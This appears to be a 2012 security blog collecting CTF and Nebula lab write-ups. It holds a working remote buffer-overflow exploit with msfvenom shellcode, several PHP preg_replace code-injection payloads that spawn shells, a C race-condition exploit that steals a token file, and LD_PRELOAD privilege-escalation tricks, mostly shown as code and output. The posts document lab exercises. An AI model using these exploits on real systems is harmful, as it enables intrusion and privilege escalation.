Vulnerabilities

Monday, December 31, 2012

29C3 CTF - Exploitation 200 - ru1337 [Team xbios]

The given binary is a ELF 32-bit, dynamically linked executable with NX. Below is the important section of the challenge
  dest = (char *)mmap((void *)0xBADC0DE, 0x88u, 3, 34, 0, 0); // No execute permission
  result = (int)dest;
  if ( dest != (char *)-1 )
  {
    send(fd, "ID&PASSWORD 1337NESS EVALUATION\nPlease enter your username and password\n\nUser: ", 0x4Fu, 0);
    recv(fd, v2, 0x2Cu, 0);    // Buffer overflow here
    for ( i = 0; i <= 7 && v2[i] && v2[i] != 10; ++i )
    {
      if ( !((*__ctype_b_loc())[v2[i]] & 0x400) ) 
      // Check to prevent against use of non printables
      {
        close(fd);
        exit(0);
      }
    }
    send(fd, "Password: ", 0xAu, 0);
    recv(fd, &s, 0x80u, 0);
    strcpy(dest, v2);   // Copy the data into mmap'ed segment
    strcpy(dest + 8, &s);

    ((void (*)(void))dest)();  // Tranfer control into the allocated segment
Idea of exploit:
[*] Overflow the buffer and overwrite the EIP to replay the code from call to mmap().
[*] Parameters are setup in stack for mmap() call, we create a new memory segment with read, write, execute permission.
[*] Use the username and password during the 2nd call, to copy payload into the newly created segment.
[*] Transfer control to this new segment with execute permission using ((void (*)(void))dest)() at 0x08048a05.
#!/usr/bin/env python
# ru1337.py

import socket
import struct

ip = '94.45.252.242' 
port = 1024 
soc = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
soc.connect((ip,port))
print soc.recv(79)

# msfvenom -p linux/x86/exec CMD=/bin/ls -a x86 -b '\x00' #
shellcode = ("\xda\xce\xba\x2e\x65\x60\xd0\xd9\x74\x24\xf4\x5e\x31\xc9" +
             "\xb1\x0b\x83\xee\xfc\x31\x56\x16\x03\x56\x16\xe2\xdb\x0f" +
             "\x6b\x88\xba\x82\x0d\x40\x91\x41\x5b\x77\x81\xaa\x28\x10" +
             "\x51\xdd\xe1\x82\x38\x73\x77\xa1\xe8\x63\x8f\x26\x0c\x74" +
             "\xbf\x44\x65\x1a\x90\xe4\x06\xe2\xb9\xa7\x61\x03\x88\xc8" )

# msfvenom -p linux/x86/exec CMD='/bin/cat flag' -a x86 -b '\x00' #
shellcode = ("\xda\xd4\xba\x11\xf2\x16\x5f\xd9\x74\x24\xf4\x5e\x33\xc9" +
             "\xb1\x0d\x31\x56\x18\x03\x56\x18\x83\xee\xed\x10\xe3\x35" +
             "\x06\x8d\x95\x98\x7e\x45\x8b\x7f\xf7\x72\xbb\x50\x74\x15" +
             "\x3c\xc7\x55\x87\x55\x79\x20\xa4\xf4\x6d\x3c\x2b\xf9\x6d" +
             "\x6f\x49\x90\x03\x40\xee\x03\xa8\xbe\x96\xaf\x31\xd9\x56" +
             "\x67\xe1\xac\xb6\x4a\x85")

########################## stage 1 #############################
# 28 bytes to overflow buffer 

user  = struct.pack("<I",0) * 5
user += struct.pack("<I",0x0804a16c) # .bss addr for EBP
user += struct.pack("<I",0x08048858) #  replay code, mmap(0, 136, 7, 34, 0, 0);
user += struct.pack("<I",0)
user += struct.pack("<I",136)
user += struct.pack("<I",7)
user += struct.pack("<I",34)
# last 2 parameters are setup in stack during execution

soc.send(user)
print soc.recv(10)
password = "A"*10   # junk
soc.send(password)
print soc.recv(79)

########################## stage 2 #############################

user  = "P" * 8  # push EAX as NOP, ascii instruction to bypass __ctype_b_loc() check  
user += struct.pack("<I",0x08048a05) * 9 # overwrite EIP again
soc.send(user)
print soc.recv(10)

soc.send(shellcode)
print soc.recv(1024)
[ctf@renorobert 1337]# python ru1337.py   # ls
ID&PASSWORD 1337NESS EVALUATION
Please enter your username and password

User: 
Password: 
ID&PASSWORD 1337NESS EVALUATION
Please enter your username and password

User: 
Password: 
flag
ru1337
[ctf@renorobert 1337]# python ru1337.py   # cat flag
ID&PASSWORD 1337NESS EVALUATION
Please enter your username and password

User: 
Password: 
ID&PASSWORD 1337NESS EVALUATION
Please enter your username and password

User: 
Password: 
29C3_d4689608484bc61ec4d47d71ba0a933f
So the flag is: 29C3_d4689608484bc61ec4d47d71ba0a933f

Sunday, December 23, 2012

Exploit Exercise - PHP preg_replace

This level has a setuid binary which acts as a wrapper to execute a php script. The php script uses preg_replace with "e" modifier which makes it vulnerable to code injection. $PATH variable is defined as PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin
$contents = preg_replace("/(\[email (.*)\])/e", "spam(\"\\2\")", $contents);
There are many ways to solve this level. Here is a few:
level09@nebula:/home/flag09$ echo '[email flag@gmail.com]' > /tmp/mail 
level09@nebula:/home/flag09$ ./flag09 /tmp/mail asdf
flag AT gmail dot com

level09@nebula:/home/flag09$ echo '[email {${@system(sh)}}]' > /tmp/mail
level09@nebula:/home/flag09$ ./flag09 /tmp/mail asdf
sh-4.2$ getflag
You have successfully executed getflag on a target account

level09@nebula:/home/flag09$ echo '[email {${@system($use_me)}}]' > /tmp/mail
level09@nebula:/home/flag09$ ./flag09 /tmp/mail sh
sh-4.2$ getflag
You have successfully executed getflag on a target account

level09@nebula:/home/flag09$ echo '[email {${@system(DIRECTORY_SEPARATOR.bin.DIRECTORY_SEPARATOR.sh)}}]' > /tmp/mail
level09@nebula:/home/flag09$ ./flag09 /tmp/mail asdf
sh-4.2$ getflag
You have successfully executed getflag on a target account

Exploit Exercise - Race Condition

Level 10 of nebula deals with race condition vulnerability. We have a setuid binary and a token file. The objective of this level is to read the token file. The setuid binary uses access() call to check the file for read permission. If successful, it reads the given file and sends it to user supplied ip address. Here is some info from man page about access:

The check is done using the calling process’s real UID and GID, rather than the effective IDs
Using access() to check if a user is authorized to, for example, open a file before actually doing so using open(2) creates a security hole, because the user might exploit the short time interval between checking and opening the file to manipulate it.

The scenario is exactly same as described by man page. To solve this level, we will create a file such that access() call succeeds. Then before open() is called, we will remove this file and create a symlink to the token file. Also the race can be won in one shot if we can block the setuid binary between the calls to access() and open(), which gives us lot of time. To block the process, we will fill the pipe fully and connect the stdout of flag10 to that pipe so that it blocks during the call to printf(). Here is the solution in C:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>

#define TARGET    "/home/flag10/flag10"
#define FLAG      "/home/flag10/token"
#define FILE      "/tmp/access"
#define HOST      "127.0.0.1"

int pipe_fd[2];
char buf[] = {"A"}; 

int main(int argc,char **argv)
{
    char *arg[] = {TARGET, FILE, HOST, 0};
    int size = 65536;   /* Size of pipe to fill */
    int count = 0;
    pipe(pipe_fd);
    /* Fill the pipe */
    while(count < size){
        write(pipe_fd[1], buf, 1);
        count++;
    }
    /* Create file, remove if already existing */
    unlink(FILE);
    open(FILE, O_CREAT, S_IRWXU | S_IRWXG | S_IRWXO);
    if(fork() == (pid_t)0){
    /* Child Process */
        dup2(pipe_fd[1], 1);
        close(pipe_fd[0]);
        execvp(TARGET, arg);
    }
    else{
    /* Parent Process */
        count = 0;
        close(pipe_fd[1]);
        sleep(2); 
        unlink(FILE);   /* Unlink the file */
        symlink(FLAG, FILE);  /* Create symlink to token */
    /* Drain the pipe */
        while(count < size){
            read(pipe_fd[0], buf, 1);
            count++;
        }
        wait(NULL);
    } 
return 0;
}
Run netcat in another terminal to receive the contents of token file
level10@nebula:/tmp$ gcc -o level10 level10.c 
level10@nebula:/tmp$ ./level10

level10@nebula:~$ nc -vvv -l 18211
Connection from 127.0.0.1 port 18211 [tcp/*] accepted
.oO Oo.
615a2ce1-b2b5-4c76-8eed-8aa5c4015c27

Saturday, December 22, 2012

Exploit Exercise - Level [11]

In this level we have a series of checks, which we have to satisfy inorder to execute commands using system() function. There are two solutions and both are interesting.
main:

if(length < sizeof(buf)) {
    if(fread(buf, length, 1, stdin) != length) {
 err(1, "fread length");
    }
    process(buf, length);
For the first solution we use Content-Length of 1 and use LD_PRELOAD to initialize buffer with the command to be executed.
level11@nebula:/home/flag11$ export LD_PRELOAD=`python -c 'print "\x0a/bin/getflag"*4000'`
level11@nebula:/home/flag11$ 
level11@nebula:/home/flag11$ python -c 'print "Content-Length: 1\n"' | ./flag11 2>/dev/null

###############################################################################

You have successfully executed getflag on a target account
You have successfully executed getflag on a target account
You have successfully executed getflag on a target account
You have successfully executed getflag on a target account
You have successfully executed getflag on a target account
You have successfully executed getflag on a target account
You have successfully executed getflag on a target account
You have successfully executed getflag on a target account
level11@nebula:/home/flag11$
The second solution is to use Content-Length >= sizeof(buf). To execute desired command, we can build strings by reversing process() function.
void process(char *buffer, int length)
{
 unsigned int key;
 int i;
 key = length & 0xff;
 for(i = 0; i < length; i++) {
  buffer[i] ^= key;
  key -= buffer[i];
 }
 system(buffer);
}
Here is a small python code that builds string to execute desired command.
#!/usr/bin/env python
#flag11.py

command = "/bin/getflag\x00"
length = 1024
key = length & 0xff
enc = str()

for i in xrange(len(command)):
    for j in xrange(256):
        if ((key ^ j) & 0xff ) == ord(command[i]):
            enc = enc + chr(j)
            key = (key - ord(command[i])) & 0xffffffff # unsigned int
            break

junk = "A" * (length - len(command))
print "Content-Length: " + str(length) + "\n" + enc + junk
level11@nebula:/tmp$ export TEMP="/tmp"
level11@nebula:/tmp$ python flag11.py | /home/flag11/flag11 
blue = 1024, length = 1024, pink = 1024
You have successfully executed getflag on a target account

Exploit Exercise - Level [13]

We have to get a token to solve this level. But there is a security check getuid()==1000. To bypass this check, we make a copy of flag13 binary, this removes setuid bit. Then we create a shared object and use LD_PRELOAD to hook getuid() call. Below is the solution
0x080484ef <+43>: call   0x80483c0 <getuid@plt>
0x080484f4 <+48>: cmp    eax,0x3e8
0x080484f9 <+53>: je     0x8048531 <main+109>

level13@nebula:/home/flag13$ cp flag13 ../level13/
level13@nebula:/home/flag13$ cd -
/home/level13
level13@nebula:~$ ls -ld *
-rwxr-x--- 1 level13 level13 7321 2012-02-01 01:08 flag13

level13@nebula:~$ ./flag13 
Security failure detected. UID 1014 started us, we expect 1000
The system administrators will be notified of this violation

level13@nebula:~$ cat getuid.c
#include<unistd.h>
uid_t getuid(void)
{
    return 1000;
}
level13@nebula:~$ gcc -fPIC -shared -o lib.so getuid.c 
level13@nebula:~$ ls
flag13  getuid.c  lib.so
level13@nebula:~$ export LD_PRELOAD="/home/level13/lib.so"
level13@nebula:~$ ./flag13 
your token is b705702b-76a8-42b0-8844-3adabbe5ac58